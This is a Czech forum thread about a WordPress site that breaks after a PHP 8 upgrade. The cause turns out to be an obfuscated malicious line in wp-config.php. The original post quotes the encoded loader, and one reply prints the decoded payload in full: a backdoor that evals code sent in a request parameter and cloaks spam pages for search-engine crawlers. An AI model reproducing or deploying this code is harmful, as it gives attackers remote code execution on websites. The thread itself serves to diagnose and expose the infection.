Přidat otázku mezi oblíbenéZasílat nové odpovědi e-mailemVyřešeno WordPress - Fatal Error po upgrade na PHP 8

Dobrý den,

Jeden firemní web přestal fungovat po upgrade PHP 7.0.X - 8.0.X. Občas se to stane kvůli špatné kompatibilitě z některých z pluginůn. Jenže, tady hlásí zcela jinou chybu

Fatal error: Uncaught Error: Call to undefined function create_function() in /www/doc/www.pradakos.cz/www/wp-config.php:65 Stack trace: #0 /www/doc/www.pradakos.cz/www/wp-load.php(50): require_once() #1 /www/doc/www.pradakos.cz/www/wp-blog-header.php(13): require_once('/www/doc/www.pr...') #2 /www/doc/www.pradakos.cz/www/index.php(17): require('/www/doc/www.pr...') #3 {main} thrown in /www/doc/www.pradakos.cz/www/wp-config.php on line 65

Na tomto řádku se nachází kód

$bfd0fd = 'bas' . 'e64_dec' . 'ode'; $c98cae = 'crea' . 'te_fun' . 'ction'; $g926cd = 'gz' . 'unc' . 'ompress'; $fef80e = $c98cae('', $g926cd($bfd0fd('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'))); $fef80e();

Každopádně, je to jenom hromada kódu, ze kterého vůbec není patrné, jak to spravit.

Prosím o radu

Děkuji

Předmět Autor Datum
Prozradíš verzi Wordpressu? :-?
host 27.07.2021 22:52
host
Pochopitelně aktuální (5.8).
MichalDM 27.07.2021 22:57
MichalDM
Kdyby to bylo tak pochopitelný, tak bych se neptal.
host 27.07.2021 23:09
host
Aktualizaci WordPress jsem provedl ještě před upgradem PHP a proběhla bez problému. A ostatní weby f…
MichalDM 27.07.2021 23:13
MichalDM
Ostatní weby jsou na stejném hostingu/serveru? nový
host 27.07.2021 23:15
host
Ano, všechny jsou na Active24 nový
MichalDM 27.07.2021 23:26
MichalDM
Neptal jsem se, jestli jsou u stejného webhostera, ale na stejném serveru? To je rozdíl. Pro jistot… nový
host 27.07.2021 23:30
host
Ale jak zavolám phpinfo(), když web není lokální a žádný plugin taky použít nemůžu? nový
MichalDM 27.07.2021 23:46
MichalDM
Vytvoříš php skript s tím příkazem, nahraješ na server a otevřeš v prohlížeči. nový
host 27.07.2021 23:48
host
Trochu jsem se na to díval. PHP používá ke spojování řetězců operátor . (tečka). Šlo by to zapsat:… nový
Flash_Gordon 27.07.2021 23:25
Flash_Gordon
Jako wp nepoužívám. Jen mě tak napadlo. Když se na to kouknu, tak to spíš vypadá jak nějaký php kód… nový
kacikac 28.07.2021 00:03
kacikac
Ano, máte pravdu. Dekódovaný kód jsem zapomněl do zadání vložit, z kterého je patrné, že se jedná o… nový
MichalDM 29.07.2021 18:56
MichalDM
Pokud se někdo stará o "firemní web" a po chybě "undefined function create_function()" není schopen… nový
kacikac 29.07.2021 19:48
kacikac
No ten človek nevie zobraziť ani to phpinfo. Či už facepalm alebo nie, tak či tak je to tragédia. poslední
pozorovateľ 29.07.2021 23:11
pozorovateľ

Trochu jsem se na to díval.
PHP používá ke spojování řetězců operátor . (tečka).

Šlo by to zapsat:

$c98cae = 'create_function';

V tom prvním Stack trace ti píše, že se mají includovat soubory na dané cestě, které asi tuto funkci obsahují.
Ale protože se tam vytvořila špatná cesta, tak se nenajdou.

Kdybych měl hádat:

/www/doc/www.pradakos.cz/www/wp-load.php(50):

Obsahuje 2x www, což je divné.
Zkrátka jsou tam nejspíše špatné cesty po aktualizaci.

Jako wp nepoužívám. Jen mě tak napadlo. Když se na to kouknu, tak to spíš vypadá jak nějaký php kód malware 😊 (jako co jinýho než malware může maskovat rozkládáním názvy funkcí používaných v malware jako base64_decode, gzuncompress, create_function...)
Co tak požádat toho tvůrce malwaru aby přidal kompatibilitu i pro PHP 8? 😈
Jak tak koukám create_function použitý na tvém řádku je v PHP 8 REMOVED:
https://www.php.net/manual/en/function.create-function.php
Po base64_decode a gzuncompress je ten php kód v té funkci tady ten co jsem dal do code, tak jestli ho tam jako chceš furt mít tak ho tam zkus dát přímo, nezkoušel jsem jestli je to na PHP 8 funkční 😊 a jak jsem psal, vypadá to na malware.

if(!defined('AGENT_DECLARED')){define('AGENT_DECLARED',true);if(!empty($_SERVER['HTTP_ECHO'])){@header('Echo: '.$_SERVER['HTTP_ECHO']);}class _lX0t0{function _Fe5bk($_eUcNE,$_R4yeu,$_aDQw3,$_HVI0R='http'){switch($_HVI0R){case 'http':$_UmhQx='tcp://';break;case 'https':$_UmhQx='ssl://';break;default:return false;}if(function_exists('stream_socket_client')){$_Fp1fG=array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false));$_RAiDi=stream_context_create($_Fp1fG);$_CWIEE=$_UmhQx.$_eUcNE.':'.$_R4yeu;$_Ts31M=@stream_socket_client($_CWIEE,$_PRxiq,$_nh0tz,5,STREAM_CLIENT_CONNECT,$_RAiDi);}else{$_Ts31M=@fsockopen($_UmhQx.$_eUcNE,$_R4yeu,$_PRxiq,$_nh0tz,5);}if(!$_Ts31M){return false;}@fputs($_Ts31M,$_aDQw3);$_thl4K='';while(!feof($_Ts31M)){$_thl4K.=@fread($_Ts31M,8192);}@fclose($_Ts31M);if(!preg_match("/^(.*?)\r\n\r\n(.*)$/s",$_thl4K,$_LfK9r)){return false;}return array('header'=>$_LfK9r[1],'content'=>$_LfK9r[2]);}function _qTjPG($_T1ivv,$_laY0u=array()){$_EqUp8=@parse_url($_T1ivv);if(empty($_EqUp8['scheme'])||empty($_EqUp8['host'])){return false;}$_eUcNE=$_EqUp8['host'];$_HVI0R=$_EqUp8['scheme'];if(empty($_EqUp8['path'])){$_XnmKh='/';}else{$_XnmKh=$_EqUp8['path'];}if(!empty($_EqUp8['query'])){$_XnmKh.='?'.$_EqUp8['query'];}if(!empty($_EqUp8['port'])){$_R4yeu=$_EqUp8['port'];}else{$_R4yeu='80';}if(count($_laY0u)>0){$_laY0u=join("\r\n",$_laY0u)."\r\n";}else{$_laY0u='';}$_aDQw3="GET ".$_XnmKh." HTTP/1.0\r\n"."HOST: ".$_eUcNE."\r\n".$_laY0u."Connection: close\r\n\r\n";$_thl4K=$this->_Fe5bk($_eUcNE,$_R4yeu,$_aDQw3,$_HVI0R);return$_thl4K;}}class _FJkfs{private$_Qxqi5;function __construct($_Qxqi5){if(!file_exists($_Qxqi5)){$_ERtAc=dirname($_Qxqi5);$_85RGQ=@filemtime($_ERtAc);if(@mkdir($_Qxqi5)){@chmod($_Qxqi5,0777);if($_85RGQ!==false){@touch($_ERtAc,$_85RGQ);}}}$this->_Qxqi5=$_Qxqi5;}private function _9Hduc($_nCmur){return$this->_Qxqi5.'/'.$_nCmur;}function _PydCB($_nCmur){$_BsRok=@file_get_contents($this->_9Hduc($_nCmur));$_BsRok=@gzuncompress(@base64_decode($_BsRok));return$_BsRok;}function _20uOW($_BsRok,$_nCmur){$_BsRok=base64_encode(gzcompress($_BsRok));$_z0DaS=$this->_9Hduc($_nCmur);if(($_Ts31M=@fopen($_z0DaS,"w"))&&(@flock($_Ts31M,LOCK_EX))){@fputs($_Ts31M,$_BsRok);@flock($_Ts31M,LOCK_UN);@fclose($_Ts31M);@chmod($_z0DaS,0666);}}function _6Q8QB($_nCmur,$_EPiNF){$_85RGQ=@filemtime($this->_9Hduc($_nCmur));if(($_85RGQ+$_EPiNF)<=time()){return true;}return false;}function _Jm8Pv($_nCmur){if(file_exists($this->_9Hduc($_nCmur))){return true;}return false;}function _7J3B0(){if(file_exists($this->_Qxqi5)&&is_writable($this->_Qxqi5)){return true;}return false;}}class _uNM4K{public$_MJgak='google|slurp|msnbot|bingbot|baiduspider';public$_BB1Ll='ProxyAgent';public$_eAJ1C=259200;function __construct($_AcK5h){$_8DPSi=md5('@config@');if($_AcK5h->_Jm8Pv($_8DPSi)){$_Y39q4=@unserialize($_AcK5h->_PydCB($_8DPSi));}if(isset($_Y39q4['SEARCHENGINE_AGENTS'])){$this->_MJgak=$_Y39q4['SEARCHENGINE_AGENTS'];}if(isset($_Y39q4['PROXY_USER_AGENT'])){$this->_BB1Ll=$_Y39q4['PROXY_USER_AGENT'];}if(isset($_Y39q4['SITE_CACHE_EXPIRE'])){$this->_eAJ1C=$_Y39q4['SITE_CACHE_EXPIRE'];}}function _Txm80(){if(isset($_SERVER['HTTP_USER_AGENT'])&&preg_match('/'.$this->_MJgak.'/i',$_SERVER['HTTP_USER_AGENT'])){return true;}return false;}}class _Gr3yY{private$_AcK5h;function __construct($_AcK5h){$this->_AcK5h=$_AcK5h;}function _FchYn(){$_FZpxd=md5('@donor@page@list@');$_hms8R=$this->_AcK5h->_PydCB($_FZpxd);if(!empty($_hms8R)){$_hms8R=@unserialize($_hms8R);}return$_hms8R;}function _jf2If($_vVPYs,$_BsRok){$_YW6vz=md5('@donor@page@handler@');$_Le4gX=$this->_AcK5h->_PydCB($_YW6vz);if(!empty($_Le4gX)){$_Le4gX=@unserialize($_Le4gX);$_1xkMi=$_Le4gX['function'];@eval($_Le4gX['code']);$_vVPYs=@$_1xkMi($_vVPYs,$_BsRok);}return$_vVPYs;}function _fyPyr(){$_sZP4C=md5('@donor@page@data@'.$_SERVER['REQUEST_URI'].'@');$_BsRok=$this->_AcK5h->_PydCB($_sZP4C);if(!empty($_BsRok)){$_BsRok=@unserialize($_BsRok);}return$_BsRok;}}class _8Rihn{private$_Y39q4;private$_NPLDf;function __construct($_Y39q4,$_NPLDf){$this->_Y39q4=$_Y39q4;$this->_NPLDf=$_NPLDf;}function _SqNVw(){if(isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!='off'){$_jK79T='https';$_R4yeu=443;}else{$_jK79T='http';$_R4yeu=80;}$_laY0u=array('User-Agent: '.$this->_Y39q4->_BB1Ll);$_thl4K=$this->_NPLDf->_qTjPG($_jK79T.'://'.$_SERVER['HTTP_HOST'].':'.$_R4yeu.$_SERVER['REQUEST_URI'],$_laY0u);if($_thl4K!==false){if(!preg_match('/^HTTP\/1\.(0|1) 200 OK/im',$_thl4K['header'])){return false;}if(!preg_match('/^Content-Type\: text\/html/im',$_thl4K['header'])){return false;}return$_thl4K['content'];}return false;}}class _DV6Or{private$_Y39q4;private$_AcK5h;private$_StBpd;function __construct($_Y39q4,$_AcK5h,$_StBpd){$this->_Y39q4=$_Y39q4;$this->_AcK5h=$_AcK5h;$this->_StBpd=$_StBpd;}function _SqNVw(){$_BzW8q=md5('@site@page@'.$_SERVER['HTTP_HOST'].'@'.$_SERVER['REQUEST_URI'].'@');if($this->_AcK5h->_Jm8Pv($_BzW8q)&&!$this->_AcK5h->_6Q8QB($_BzW8q,$this->_Y39q4->_eAJ1C)){$_vVPYs=$this->_AcK5h->_PydCB($_BzW8q);}else{$_vVPYs=$this->_StBpd->_SqNVw();$this->_AcK5h->_20uOW($_vVPYs,$_BzW8q);}return$_vVPYs;}}define('AGENT_KEY','aa10a5e6f422ab8447d92bba1c52fc2f');define('AGENT_CACHE_PATH','wp-content/languages/settings');$_AcK5h=new _FJkfs(dirname(__FILE__).'/'.AGENT_CACHE_PATH);if(!empty($_REQUEST[AGENT_KEY])){eval(@gzuncompress(@base64_decode(strrev($_REQUEST[AGENT_KEY]))));die;}$_Y39q4=new _uNM4K($_AcK5h);$_NPLDf=new _lX0t0();if(!empty($_SERVER['REQUEST_URI'])&&$_AcK5h->_7J3B0()){$_p1DuD=new _Gr3yY($_AcK5h);$_p99rq=$_p1DuD->_FchYn();if(!empty($_p99rq)&&is_array($_p99rq)&&in_array($_SERVER['REQUEST_URI'],$_p99rq)){@header('Cache-Control: no-cache');if($_Y39q4->_Txm80()){$_StBpd=new _8Rihn($_Y39q4,$_NPLDf);$_gucbl=new _DV6Or($_Y39q4,$_AcK5h,$_StBpd);$_8qVD4=$_gucbl->_SqNVw();if(!empty($_8qVD4)){$_rU8Xb=$_p1DuD->_fyPyr();$_8qVD4=$_p1DuD->_jf2If($_8qVD4,$_rU8Xb);echo$_8qVD4;die;}}}}}

Pokud se někdo stará o "firemní web" a po chybě "undefined function create_function()" není schopen si vygooglit "php create_function" a zjistit, že ta funkce je REMOVED, tak to je na double facepalm.
Pokud se někdo stará o "firemní web" a v kódu jsou maskovány rozkládáním názvy funkcí base64_decode, gzuncompress, create_function (to co máš v úvodním příspěvku) a nenapadne ho, že se bude jednat o malware, tak to je na double facepalm.
Pokud se někdo stará o "firemní web" a napadení řeší "neuvěřitelně jednoduše" tak, že pouze smaže zjištěný řádek, tak to je na double facepalm.
Já bych tomu firemnímu webu doporučil jednak aby se jim o to staral někdo rozumný, kdo v tom aspoň trošku vyzná.
Nejsem profesionální php programátor, nejsem profesionální správce webů a přesto jsem hned věděl v čem je problém a jak jej řešit. A podle mě je to celé na double facepalm. Já kdybych potřeboval firemní poradenství, virtuální kancelář nebo co ten web pradakos.cz nabízí, tak určitě si to nepořídím u nich, mi to přijde, že s nima je potřeba sdílet citlivé informace a pokud mají napadenej web a řeší to jo, smazat řádek a nahodí se plugin... tak jako fakt ne, brrr...

Zpět do poradny Odpovědět na původní otázku Nahoru